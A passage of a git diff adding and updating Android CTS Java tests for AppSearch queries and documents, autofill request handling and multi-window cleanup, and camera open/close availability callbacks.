+        // Index one document in each database.
+        AppSearchEmail email1 =
+                new AppSearchEmail.Builder("uri1")
+                        .setNamespace("namespace")
+                        .setCreationTimestampMillis(1000)
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb1.putDocuments(
+                        new PutDocumentsRequest.Builder().addGenericDocument(email1).build()));
+
+        AppSearchEmail email2 =
+                new AppSearchEmail.Builder("uri2")
+                        .setNamespace("namespace")
+                        .setCreationTimestampMillis(1000)
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb2.putDocuments(
+                        new PutDocumentsRequest.Builder().addGenericDocument(email2).build()));
+
+        // Query with type property paths {"Email", []}
+        List<GenericDocument> documents =
+                snapshotResults(
+                        "body",
+                        new SearchSpec.Builder()
+                                .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+                                .addProjection(AppSearchEmail.SCHEMA_TYPE, Collections.emptyList())
+                                .build());
+
+        // The two email documents should have been returned without any properties.
+        AppSearchEmail expected1 =
+                new AppSearchEmail.Builder("uri2")
+                        .setNamespace("namespace")
+                        .setCreationTimestampMillis(1000)
+                        .build();
+        AppSearchEmail expected2 =
+                new AppSearchEmail.Builder("uri1")
+                        .setNamespace("namespace")
+                        .setCreationTimestampMillis(1000)
+                        .build();
+        assertThat(documents).containsExactly(expected1, expected2);
+    }
+
+    @Test
+    public void testGlobalQuery_projectionNonExistentTypeTwoInstances() throws Exception {
+        // Schema registration
+        mDb1.setSchema(new SetSchemaRequest.Builder().addSchema(AppSearchEmail.SCHEMA).build())
+                .get();
+        mDb2.setSchema(new SetSchemaRequest.Builder().addSchema(AppSearchEmail.SCHEMA).build())
+                .get();
+
+        // Index one document in each database.
+        AppSearchEmail email1 =
+                new AppSearchEmail.Builder("uri1")
+                        .setNamespace("namespace")
+                        .setCreationTimestampMillis(1000)
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb1.putDocuments(
+                        new PutDocumentsRequest.Builder().addGenericDocument(email1).build()));
+
+        AppSearchEmail email2 =
+                new AppSearchEmail.Builder("uri2")
+                        .setNamespace("namespace")
+                        .setCreationTimestampMillis(1000)
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb2.putDocuments(
+                        new PutDocumentsRequest.Builder().addGenericDocument(email2).build()));
+
+        // Query with type property paths {"NonExistentType", []}, {"Email", ["subject", "to"]}
+        List<GenericDocument> documents =
+                snapshotResults(
+                        "body",
+                        new SearchSpec.Builder()
+                                .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+                                .addProjection("NonExistentType", Collections.emptyList())
+                                .addProjection(AppSearchEmail.SCHEMA_TYPE, "subject", "to")
+                                .build());
+
+        // The two email documents should have been returned with only the "subject" and "to"
+        // properties.
+        AppSearchEmail expected1 =
+                new AppSearchEmail.Builder("uri2")
+                        .setNamespace("namespace")
+                        .setCreationTimestampMillis(1000)
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .build();
+        AppSearchEmail expected2 =
+                new AppSearchEmail.Builder("uri1")
+                        .setNamespace("namespace")
+                        .setCreationTimestampMillis(1000)
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .build();
+        assertThat(documents).containsExactly(expected1, expected2);
+    }
+}
diff --git a/tests/appsearch/src/com/android/cts/appsearch/external/SearchSpecCtsTest.java b/tests/appsearch/src/com/android/cts/appsearch/external/SearchSpecCtsTest.java
new file mode 100644
index 0000000..e00064f
--- /dev/null
+++ b/tests/appsearch/src/com/android/cts/appsearch/external/SearchSpecCtsTest.java
@@ -0,0 +1,69 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.appsearch.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.testng.Assert.expectThrows;
+
+import android.app.appsearch.SearchSpec;
+
+import org.junit.Test;
+
+public class SearchSpecCtsTest {
+    @Test
+    public void buildSearchSpecWithoutTermMatchType() {
+        RuntimeException e =
+                expectThrows(
+                        RuntimeException.class,
+                        () -> new SearchSpec.Builder().addSchemaType("testSchemaType").build());
+        assertThat(e).hasMessageThat().contains("Missing termMatchType field");
+    }
+
+    @Test
+    public void testBuildSearchSpec() {
+        SearchSpec searchSpec =
+                new SearchSpec.Builder()
+                        .setTermMatch(SearchSpec.TERM_MATCH_PREFIX)
+                        .addNamespace("namespace1", "namespace2")
+                        .addSchemaType("schemaTypes1", "schemaTypes2")
+                        .addFilterPackageNames("package1", "package2")
+                        .setSnippetCount(5)
+                        .setSnippetCountPerProperty(10)
+                        .setMaxSnippetSize(15)
+                        .setResultCountPerPage(42)
+                        .setOrder(SearchSpec.ORDER_ASCENDING)
+                        .setRankingStrategy(SearchSpec.RANKING_STRATEGY_DOCUMENT_SCORE)
+                        .build();
+
+        assertThat(searchSpec.getTermMatch()).isEqualTo(SearchSpec.TERM_MATCH_PREFIX);
+        assertThat(searchSpec.getNamespaces())
+                .containsExactly("namespace1", "namespace2")
+                .inOrder();
+        assertThat(searchSpec.getSchemaTypes())
+                .containsExactly("schemaTypes1", "schemaTypes2")
+                .inOrder();
+        assertThat(searchSpec.getPackageNames()).containsExactly("package1", "package2").inOrder();
+        assertThat(searchSpec.getSnippetCount()).isEqualTo(5);
+        assertThat(searchSpec.getSnippetCountPerProperty()).isEqualTo(10);
+        assertThat(searchSpec.getMaxSnippetSize()).isEqualTo(15);
+        assertThat(searchSpec.getResultCountPerPage()).isEqualTo(42);
+        assertThat(searchSpec.getOrder()).isEqualTo(SearchSpec.ORDER_ASCENDING);
+        assertThat(searchSpec.getRankingStrategy())
+                .isEqualTo(SearchSpec.RANKING_STRATEGY_DOCUMENT_SCORE);
+    }
+}
diff --git a/tests/appsearch/src/com/android/cts/appsearch/external/customer/CustomerDocumentTest.java b/tests/appsearch/src/com/android/cts/appsearch/external/customer/CustomerDocumentTest.java
new file mode 100644
index 0000000..29b5754
--- /dev/null
+++ b/tests/appsearch/src/com/android/cts/appsearch/external/customer/CustomerDocumentTest.java
@@ -0,0 +1,105 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.appsearch.cts.customer;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.annotation.NonNull;
+import android.app.appsearch.GenericDocument;
+
+import org.junit.Test;
+
+/**
+ * Tests that {@link GenericDocument} and {@link GenericDocument.Builder} are extendable by
+ * developers.
+ *
+ * <p>This class is intentionally in a different package than {@link GenericDocument} to make sure
+ * there are no package-private methods required for external developers to add custom types.
+ */
+public class CustomerDocumentTest {
+
+    private static final byte[] BYTE_ARRAY1 = new byte[] {(byte) 1, (byte) 2, (byte) 3};
+    private static final byte[] BYTE_ARRAY2 = new byte[] {(byte) 4, (byte) 5, (byte) 6};
+    private static final GenericDocument DOCUMENT_PROPERTIES1 =
+            new GenericDocument.Builder<>("sDocumentProperties1", "sDocumentPropertiesSchemaType1")
+                    .build();
+    private static final GenericDocument DOCUMENT_PROPERTIES2 =
+            new GenericDocument.Builder<>("sDocumentProperties2", "sDocumentPropertiesSchemaType2")
+                    .build();
+
+    @Test
+    public void testBuildCustomerDocument() {
+        CustomerDocument customerDocument =
+                new CustomerDocument.Builder("uri1")
+                        .setScore(1)
+                        .setCreationTimestampMillis(0)
+                        .setPropertyLong("longKey1", 1L, 2L, 3L)
+                        .setPropertyDouble("doubleKey1", 1.0, 2.0, 3.0)
+                        .setPropertyBoolean("booleanKey1", true, false, true)
+                        .setPropertyString(
+                                "stringKey1", "test-value1", "test-value2", "test-value3")
+                        .setPropertyBytes("byteKey1", BYTE_ARRAY1, BYTE_ARRAY2)
+                        .setPropertyDocument(
+                                "documentKey1", DOCUMENT_PROPERTIES1, DOCUMENT_PROPERTIES2)
+                        .build();
+
+        assertThat(customerDocument.getUri()).isEqualTo("uri1");
+        assertThat(customerDocument.getSchemaType()).isEqualTo("customerDocument");
+        assertThat(customerDocument.getScore()).isEqualTo(1);
+        assertThat(customerDocument.getCreationTimestampMillis()).isEqualTo(0L);
+        assertThat(customerDocument.getPropertyLongArray("longKey1"))
+                .asList()
+                .containsExactly(1L, 2L, 3L);
+        assertThat(customerDocument.getPropertyDoubleArray("doubleKey1"))
+                .usingExactEquality()
+                .containsExactly(1.0, 2.0, 3.0);
+        assertThat(customerDocument.getPropertyBooleanArray("booleanKey1"))
+                .asList()
+                .containsExactly(true, false, true);
+        assertThat(customerDocument.getPropertyStringArray("stringKey1"))
+                .asList()
+                .containsExactly("test-value1", "test-value2", "test-value3");
+        assertThat(customerDocument.getPropertyBytesArray("byteKey1"))
+                .asList()
+                .containsExactly(BYTE_ARRAY1, BYTE_ARRAY2);
+        assertThat(customerDocument.getPropertyDocumentArray("documentKey1"))
+                .asList()
+                .containsExactly(DOCUMENT_PROPERTIES1, DOCUMENT_PROPERTIES2);
+    }
+
+    /**
+     * An example document type for test purposes, defined outside of {@link GenericDocument} (the
+     * way an external developer would define it).
+     */
+    private static class CustomerDocument extends GenericDocument {
+        private CustomerDocument(GenericDocument document) {
+            super(document);
+        }
+
+        public static class Builder extends GenericDocument.Builder<CustomerDocument.Builder> {
+            private Builder(@NonNull String uri) {
+                super(uri, "customerDocument");
+            }
+
+            @Override
+            @NonNull
+            public CustomerDocument build() {
+                return new CustomerDocument(super.build());
+            }
+        }
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/MultiWindowLoginActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/MultiWindowLoginActivityTest.java
index 3010239..5dd248c 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/MultiWindowLoginActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/MultiWindowLoginActivityTest.java
@@ -15,7 +15,6 @@
  */
 package android.autofillservice.cts;
 
-import static android.app.ActivityTaskManager.SPLIT_SCREEN_CREATE_MODE_TOP_OR_LEFT;
 import static android.autofillservice.cts.testcore.Helper.ID_PASSWORD;
 import static android.autofillservice.cts.testcore.Helper.ID_USERNAME;
 
@@ -68,6 +67,11 @@
     }
 
     @Override
+    protected void cleanAllActivities() {
+        MultiWindowEmptyActivity.finishAndWaitDestroy();
+    }
+
+    @Override
     protected TestRule getMainTestRule() {
         return RuleChain.outerRule(new AdoptShellPermissionsRule()).around(getActivityRule());
     }
@@ -98,8 +102,7 @@
      * Put activity in TOP, will be followed by amStartActivity()
      */
     protected void splitWindow(Activity activity) {
-        mAtm.setTaskWindowingModeSplitScreenPrimary(activity.getTaskId(),
-                SPLIT_SCREEN_CREATE_MODE_TOP_OR_LEFT, true, false, null, true);
+        mAtm.setTaskWindowingModeSplitScreenPrimary(activity.getTaskId(), true /* toTop */);
     }
 
     protected void amStartActivity(Class<? extends Activity> activity2) {
diff --git a/tests/autofillservice/src/android/autofillservice/cts/activities/MultiWindowEmptyActivity.java b/tests/autofillservice/src/android/autofillservice/cts/activities/MultiWindowEmptyActivity.java
index 602efd2..75c9b18 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/activities/MultiWindowEmptyActivity.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/activities/MultiWindowEmptyActivity.java
@@ -16,6 +16,7 @@
 package android.autofillservice.cts.activities;
 
 import android.autofillservice.cts.testcore.Timeouts;
+import android.util.Log;
 
 import com.android.compatibility.common.util.RetryableException;
 
@@ -27,8 +28,10 @@
  */
 public class MultiWindowEmptyActivity extends EmptyActivity {
 
+    private static final String TAG = "MultiWindowEmptyActivity";
     private static MultiWindowEmptyActivity sLastInstance;
     private static CountDownLatch sLastInstanceLatch;
+    private static CountDownLatch sDestroyLastInstanceLatch;
 
     @Override
     protected void onStart() {
@@ -55,10 +58,36 @@
     public static MultiWindowEmptyActivity waitNewInstance() throws InterruptedException {
         if (!sLastInstanceLatch.await(Timeouts.ACTIVITY_RESURRECTION.getMaxValue(),
                 TimeUnit.MILLISECONDS)) {
-            throw new RetryableException("New MultiWindowLoginActivity didn't start",
+            throw new RetryableException("New MultiWindowEmptyActivity didn't start",
                     Timeouts.ACTIVITY_RESURRECTION);
         }
         sLastInstanceLatch = null;
         return sLastInstance;
     }
+
+    @Override
+    protected void onDestroy() {
+        super.onDestroy();
+
+        if (sDestroyLastInstanceLatch != null) {
+            sDestroyLastInstanceLatch.countDown();
+        }
+    }
+
+    public static void finishAndWaitDestroy() {
+        if (sLastInstance != null) {
+            sLastInstance.finish();
+
+            sDestroyLastInstanceLatch = new CountDownLatch(1);
+            try {
+                sDestroyLastInstanceLatch.await(Timeouts.ACTIVITY_RESURRECTION.getMaxValue(),
+                        TimeUnit.MILLISECONDS);
+            } catch (InterruptedException e) {
+                Log.e(TAG, "interrupted waiting for MultiWindowEmptyActivity to be destroyed");
+                Thread.currentThread().interrupt();
+            }
+            sDestroyLastInstanceLatch = null;
+            sLastInstance = null;
+        }
+    }
 }
diff --git a/tests/autofillservice/src/android/autofillservice/cts/augmented/AugmentedLoginActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/augmented/AugmentedLoginActivityTest.java
index 4faeaba..89bbbf5 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/augmented/AugmentedLoginActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/augmented/AugmentedLoginActivityTest.java
@@ -1032,7 +1032,7 @@
         final AugmentedFillRequest request2 = sAugmentedReplier.getNextFillRequest();
 
         // Assert 2nd request
-        assertBasicRequestInfo(request2, mActivity, usernameId, "DOH");
+        assertBasicRequestInfo(request2, mActivity, usernameId, AutofillValue.forText("DOH"));
 
         // Make sure UIs were not shown
         mUiBot.assertNoDatasetsEver();
diff --git a/tests/autofillservice/src/android/autofillservice/cts/commontests/AutoFillServiceTestCase.java b/tests/autofillservice/src/android/autofillservice/cts/commontests/AutoFillServiceTestCase.java
index 1ca23be..879aa8e 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/commontests/AutoFillServiceTestCase.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/commontests/AutoFillServiceTestCase.java
@@ -244,6 +244,7 @@
                     // exception:
                     //     Could not launch intent Intent { ... } within 45 seconds.
                     mTestWatcher.cleanAllActivities();
+                    cleanAllActivities();
                 });
 
         private final AutofillLoggingTestRule mLoggingRule = new AutofillLoggingTestRule(TAG);
@@ -470,6 +471,12 @@
         protected AutofillManager getAutofillManager() {
             return mContext.getSystemService(AutofillManager.class);
         }
+
+        /**
+         * Used to clean all activities that started by test case and does not control by the
+         * AutofillTestWatcher.
+         */
+        protected void cleanAllActivities() {}
     }
 
     protected static final UiBot sDefaultUiBot = new UiBot();
diff --git a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineAugmentedWebViewActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineAugmentedWebViewActivityTest.java
index 46fcb1d..bae5a21 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineAugmentedWebViewActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineAugmentedWebViewActivityTest.java
@@ -25,15 +25,18 @@
 import android.autofillservice.cts.activities.MyWebView;
 import android.autofillservice.cts.activities.WebViewActivity;
 import android.autofillservice.cts.commontests.AugmentedAutofillAutoActivityLaunchTestCase;
+import android.autofillservice.cts.testcore.AugmentedHelper;
 import android.autofillservice.cts.testcore.AutofillActivityTestRule;
 import android.autofillservice.cts.testcore.CannedAugmentedFillResponse;
 import android.autofillservice.cts.testcore.CannedFillResponse;
+import android.autofillservice.cts.testcore.CtsAugmentedAutofillService.AugmentedFillRequest;
 import android.autofillservice.cts.testcore.Helper;
 import android.autofillservice.cts.testcore.InstrumentedAutoFillService.FillRequest;
 import android.support.test.uiautomator.UiObject2;
 import android.util.Log;
 import android.view.KeyEvent;
 import android.view.autofill.AutofillId;
+import android.view.autofill.AutofillValue;
 
 import androidx.test.filters.FlakyTest;
 
@@ -82,8 +85,14 @@
 
         // Trigger autofill.
         mActivity.getUsernameInput().click();
-        sReplier.getNextFillRequest();
-        sAugmentedReplier.getNextFillRequest();
+
+        final FillRequest autofillRequest = sReplier.getNextFillRequest();
+        AutofillId usernameId = getAutofillIdByWebViewTag(autofillRequest, HTML_NAME_USERNAME);
+        final AugmentedFillRequest request = sAugmentedReplier.getNextFillRequest();
+
+        // Assert request
+        AugmentedHelper.assertBasicRequestInfo(request, mActivity, usernameId,
+                (AutofillValue) null);
 
         // Assert not shown.
         mUiBot.assertNoDatasetsEver();
@@ -146,7 +155,12 @@
                         .build())
                 .build());
 
-        sAugmentedReplier.getNextFillRequest();
+        final AugmentedFillRequest request = sAugmentedReplier.getNextFillRequest();
+
+        // Assert request
+        AugmentedHelper.assertBasicRequestInfo(request, mActivity, usernameId,
+                (AutofillValue) null);
+
         final UiObject2 datasetPicker = mUiBot.assertDatasets("dude");
 
         // Now Autofill it.
diff --git a/tests/autofillservice/src/android/autofillservice/cts/servicebehavior/MultiScreenDifferentActivitiesTest.java b/tests/autofillservice/src/android/autofillservice/cts/servicebehavior/MultiScreenDifferentActivitiesTest.java
index 45354e0..3f08397 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/servicebehavior/MultiScreenDifferentActivitiesTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/servicebehavior/MultiScreenDifferentActivitiesTest.java
@@ -144,5 +144,8 @@
         assertTextAndValue(findNodeByResourceId(structure2, ID_INPUT), "ID");
         final ComponentName component2 = structure2.getActivityComponent();
         assertThat(component2).isEqualTo(activity2.getComponentName());
+        activity2.syncRunOnUiThread(() -> {
+            activity2.mInput.setFocusable(false);
+        });
     }
 }
diff --git a/tests/autofillservice/src/android/autofillservice/cts/testcore/AugmentedHelper.java b/tests/autofillservice/src/android/autofillservice/cts/testcore/AugmentedHelper.java
index 0e3a6f6..fef24f1 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/testcore/AugmentedHelper.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/testcore/AugmentedHelper.java
@@ -24,6 +24,7 @@
 import static com.google.common.truth.Truth.assertWithMessage;
 
 import android.app.Activity;
+import android.app.assist.AssistStructure;
 import android.autofillservice.cts.testcore.CtsAugmentedAutofillService.AugmentedFillRequest;
 import android.content.ComponentName;
 import android.service.autofill.augmented.FillRequest;
@@ -77,27 +78,13 @@
 
     public static void assertBasicRequestInfo(@NonNull AugmentedFillRequest request,
             @NonNull Activity activity, @NonNull AutofillId expectedFocusedId,
-            @NonNull AutofillValue expectedFocusedValue) {
-        assertBasicRequestInfo(request, activity, expectedFocusedId,
-                expectedFocusedValue.getTextValue().toString());
-    }
-
-    public static void assertBasicRequestInfo(@NonNull AugmentedFillRequest request,
-            @NonNull Activity activity, @NonNull AutofillId expectedFocusedId,
-            @NonNull String expectedFocusedValue) {
+            @Nullable AutofillValue expectedFocusedValue) {
         assertBasicRequestInfo(request, activity, expectedFocusedId, expectedFocusedValue, true);
     }
 
     public static void assertBasicRequestInfo(@NonNull AugmentedFillRequest request,
             @NonNull Activity activity, @NonNull AutofillId expectedFocusedId,
-            @NonNull AutofillValue expectedFocusedValue, boolean hasInlineRequest) {
-        assertBasicRequestInfo(request, activity, expectedFocusedId,
-                expectedFocusedValue.getTextValue().toString(), hasInlineRequest);
-    }
-
-    private static void assertBasicRequestInfo(@NonNull AugmentedFillRequest request,
-            @NonNull Activity activity, @NonNull AutofillId expectedFocusedId,
-            @NonNull String expectedFocusedValue, boolean hasInlineRequest) {
+            @Nullable AutofillValue expectedFocusedValue, boolean hasInlineRequest) {
         Objects.requireNonNull(activity);
         Objects.requireNonNull(expectedFocusedId);
         assertWithMessage("no AugmentedFillRequest").that(request).isNotNull();
@@ -119,8 +106,27 @@
         assertWithMessage("wrong focused id on %s", request).that(actualFocusedId)
                 .isEqualTo(expectedFocusedId);
         final AutofillValue actualFocusedValue = request.request.getFocusedValue();
-        assertWithMessage("no focused value on %s", request).that(actualFocusedValue).isNotNull();
-        assertAutofillValue(expectedFocusedValue, actualFocusedValue);
+        if (expectedFocusedValue != null) {
+            assertWithMessage("no focused value on %s", request).that(
+                    actualFocusedValue).isNotNull();
+            assertAutofillValue(expectedFocusedValue, actualFocusedValue);
+        } else {
+            assertWithMessage("expecting null focused value on %s", request).that(
+                    actualFocusedValue).isNull();
+        }
+        if (expectedFocusedId.isNonVirtual()) {
+            final AssistStructure.ViewNode focusedViewNode = request.request.getFocusedViewNode();
+            assertWithMessage("no focused view node on %s", request).that(
+                    focusedViewNode).isNotNull();
+            assertWithMessage("wrong autofill id in focused view node %s", focusedViewNode).that(
+                    focusedViewNode.getAutofillId()).isEqualTo(expectedFocusedId);
+            assertWithMessage("unexpected autofill value in focused view node %s",
+                    focusedViewNode).that(focusedViewNode.getAutofillValue()).isEqualTo(
+                    expectedFocusedValue);
+            assertWithMessage("children nodes should not be populated for focused view node %s",
+                    focusedViewNode).that(
+                    focusedViewNode.getChildCount()).isEqualTo(0);
+        }
         final InlineSuggestionsRequest inlineRequest =
                 request.request.getInlineSuggestionsRequest();
         if (hasInlineRequest) {
diff --git a/tests/autofillservice/src/android/autofillservice/cts/unittests/DatasetTest.java b/tests/autofillservice/src/android/autofillservice/cts/unittests/DatasetTest.java
index a04ca50..8297163 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/unittests/DatasetTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/unittests/DatasetTest.java
@@ -27,6 +27,7 @@
 import android.app.slice.Slice;
 import android.app.slice.SliceSpec;
 import android.content.ClipData;
+import android.content.Intent;
 import android.content.IntentSender;
 import android.net.Uri;
 import android.os.Parcel;
@@ -233,6 +234,13 @@
     }
 
     @Test
+    public void testBuilder_setContentWithIntentIsNotAllowed() {
+        Dataset.Builder builder = new Dataset.Builder();
+        ClipData clip = ClipData.newIntent("", new Intent());
+        assertThrows(IllegalArgumentException.class, () -> builder.setContent(mId, clip));
+    }
+
+    @Test
     public void testBuilder_setContentAcceptsNullContent() {
         // It's valid to pass null content, e.g. when wanting to trigger the auth flow.
         Dataset.Builder builder = new Dataset.Builder().setContent(mId, null);
diff --git a/tests/camera/src/android/hardware/camera2/cts/CameraManagerTest.java b/tests/camera/src/android/hardware/camera2/cts/CameraManagerTest.java
index ff1bdb7..87b132d 100644
--- a/tests/camera/src/android/hardware/camera2/cts/CameraManagerTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/CameraManagerTest.java
@@ -37,6 +37,7 @@
 import android.os.Handler;
 import android.os.HandlerThread;
 import android.os.ParcelFileDescriptor;
+import android.platform.test.annotations.AppModeFull;
 import android.util.Log;
 import android.util.Pair;
 
@@ -640,6 +641,19 @@
                 otherQueue.size() == 0);
     }
 
+    private void verifySingleAvailabilityCbsReceived(LinkedBlockingQueue<String> expectedEventQueue,
+            LinkedBlockingQueue<String> unExpectedEventQueue, String expectedId,
+            String expectedStr, String unExpectedStr) throws Exception {
+        String candidateId = expectedEventQueue.poll(AVAILABILITY_TIMEOUT_MS,
+                java.util.concurrent.TimeUnit.MILLISECONDS);
+        assertTrue("Received " + expectedStr + " notice for wrong ID, " +
+                "expected " + expectedId + ", got " + candidateId, expectedId.equals(candidateId));
+        assertTrue("Received >  1 " + expectedStr + " callback for id " + expectedId,
+                expectedEventQueue.size() == 0);
+        assertTrue(unExpectedStr + " events received unexpectedly",
+                unExpectedEventQueue.size() == 0);
+    }
+
     private void testCameraManagerListenerCallbacks(boolean useExecutor) throws Exception {
 
         final LinkedBlockingQueue<String> availableEventQueue = new LinkedBlockingQueue<>();
@@ -651,20 +665,17 @@
         final LinkedBlockingQueue<Pair<String, String>> unavailablePhysicalCamEventQueue =
                 new LinkedBlockingQueue<>();
 
+        final LinkedBlockingQueue<String> onCameraOpenedEventQueue = new LinkedBlockingQueue<>();
+        final LinkedBlockingQueue<String> onCameraClosedEventQueue = new LinkedBlockingQueue<>();
+
         CameraManager.AvailabilityCallback ac = new CameraManager.AvailabilityCallback() {
             @Override
             public void onCameraAvailable(String cameraId) {
-                try {
-                    // When we're testing system cameras, we don't list non system cameras in the
-                    // camera id list as mentioned in Camera2ParameterizedTest.java
-                    if (mAdoptShellPerm &&
-                            !CameraTestUtils.isSystemCamera(mCameraManager, cameraId)) {
-                        return;
-                    }
-                } catch (CameraAccessException e) {
-                    fail("CameraAccessException thrown when attempting to access camera" +
-                         "characteristics" + cameraId);
-                }
+                // We allow this callback irrespective of mAdoptShellPerm since for this particular
+                // test, in the case when shell permissions are adopted we test all cameras, for
+                // simplicity. This is since when mAdoptShellPerm is false, we can't test for
+                // onCameraOpened/Closed callbacks (no CAMERA_OPEN_CLOSE_LISTENER permissions).
+                // So, to test all cameras, we test them when we adopt shell permission identity.
                 availableEventQueue.offer(cameraId);
             }
 
@@ -682,6 +693,20 @@
             public void onPhysicalCameraUnavailable(String cameraId, String physicalCameraId) {
                 unavailablePhysicalCamEventQueue.offer(new Pair<>(cameraId, physicalCameraId));
             }
+
+            @Override
+            public void onCameraOpened(String cameraId, String packageId) {
+                String curPackageId = mContext.getPackageName();
+                assertTrue("Opening package should be " + curPackageId + ", was " + packageId,
+                        curPackageId.equals(packageId));
+                onCameraOpenedEventQueue.offer(cameraId);
+            }
+
+            @Override
+            public void onCameraClosed(String cameraId) {
+                onCameraClosedEventQueue.offer(cameraId);
+            }
+
         };
 
         if (useExecutor) {
@@ -690,9 +715,15 @@
             mCameraManager.registerAvailabilityCallback(ac, mHandler);
         }
         String[] cameras = mCameraIdsUnderTest;
+        if (mAdoptShellPerm) {
+            //when mAdoptShellPerm is false, we can't test for
+            // onCameraOpened/Closed callbacks (no CAMERA_OPEN_CLOSE_LISTENER permissions).
+            // So, to test all cameras, we test them when we adopt shell permission identity.
+            cameras = mCameraManager.getCameraIdListNoLazy();
+        }
 
         if (cameras.length == 0) {
-            Log.i(TAG, "No cameras present, skipping test");
+            Log.i(TAG, "No cameras present, skipping test mAdoprPerm");
             return;
         }
 
@@ -722,14 +753,13 @@
             // Then verify only open happened, and get the camera handle
             CameraDevice camera = verifyCameraStateOpened(id, mockListener);
 
-            // Verify that we see the expected 'unavailable' event.
-            String candidateId = unavailableEventQueue.poll(AVAILABILITY_TIMEOUT_MS,
-                    java.util.concurrent.TimeUnit.MILLISECONDS);
-            assertTrue(String.format("Received unavailability notice for wrong ID " +
-                            "(expected %s, got %s)", id, candidateId),
-                    id.equals(candidateId));
-            assertTrue("Availability events received unexpectedly",
-                    availableEventQueue.size() == 0);
+            verifySingleAvailabilityCbsReceived(unavailableEventQueue,
+                        availableEventQueue, id, "unavailability", "Availability");
+            if (mAdoptShellPerm) {
+                // Verify that we see the expected 'onCameraOpened' event.
+                verifySingleAvailabilityCbsReceived(onCameraOpenedEventQueue,
+                        onCameraClosedEventQueue, id, "onCameraOpened", "onCameraClosed");
+            }
 
             // Verify that we see the expected 'unavailable' events if this camera is a physical
             // camera of another logical multi-camera
@@ -751,17 +781,16 @@
             // Verify that we see the expected 'available' event after closing the camera
 
             camera.close();
-
             mCameraListener.waitForState(BlockingStateCallback.STATE_CLOSED,
                     CameraTestUtils.CAMERA_CLOSE_TIMEOUT_MS);
 
-            candidateId = availableEventQueue.poll(AVAILABILITY_TIMEOUT_MS,
-                    java.util.concurrent.TimeUnit.MILLISECONDS);
-            assertTrue(String.format("Received availability notice for wrong ID " +
-                            "(expected %s, got %s)", id, candidateId),
-                    id.equals(candidateId));
-            assertTrue("Unavailability events received unexpectedly",
-                    unavailableEventQueue.size() == 0);
+            verifySingleAvailabilityCbsReceived(availableEventQueue, unavailableEventQueue,
+                    id, "availability", "Unavailability");
+
+            if (mAdoptShellPerm) {
+                verifySingleAvailabilityCbsReceived(onCameraClosedEventQueue,
+                        onCameraOpenedEventQueue, id, "onCameraClosed", "onCameraOpened");
+            }
 
             expectedLogicalCameras = new HashSet<Pair<String, String>>(relatedLogicalCameras);
             verifyAvailabilityCbsReceived(expectedLogicalCameras,
@@ -828,6 +857,7 @@
 
     // Verify no LEGACY-level devices appear on devices first launched in the Q release or newer
     @Test
+    @AppModeFull(reason = "Instant apps can't access Test API")
     public void testNoLegacyOnQ() throws Exception {
         if(PropertyUtil.getFirstApiLevel() < Build.VERSION_CODES.Q){
             // LEGACY still allowed for devices upgrading to Q
diff --git a/tests/camera/src/android/hardware/camera2/cts/PerformanceTest.java b/tests/camera/src/android/hardware/camera2/cts/PerformanceTest.java
index 45d341b..9ef497a 100644
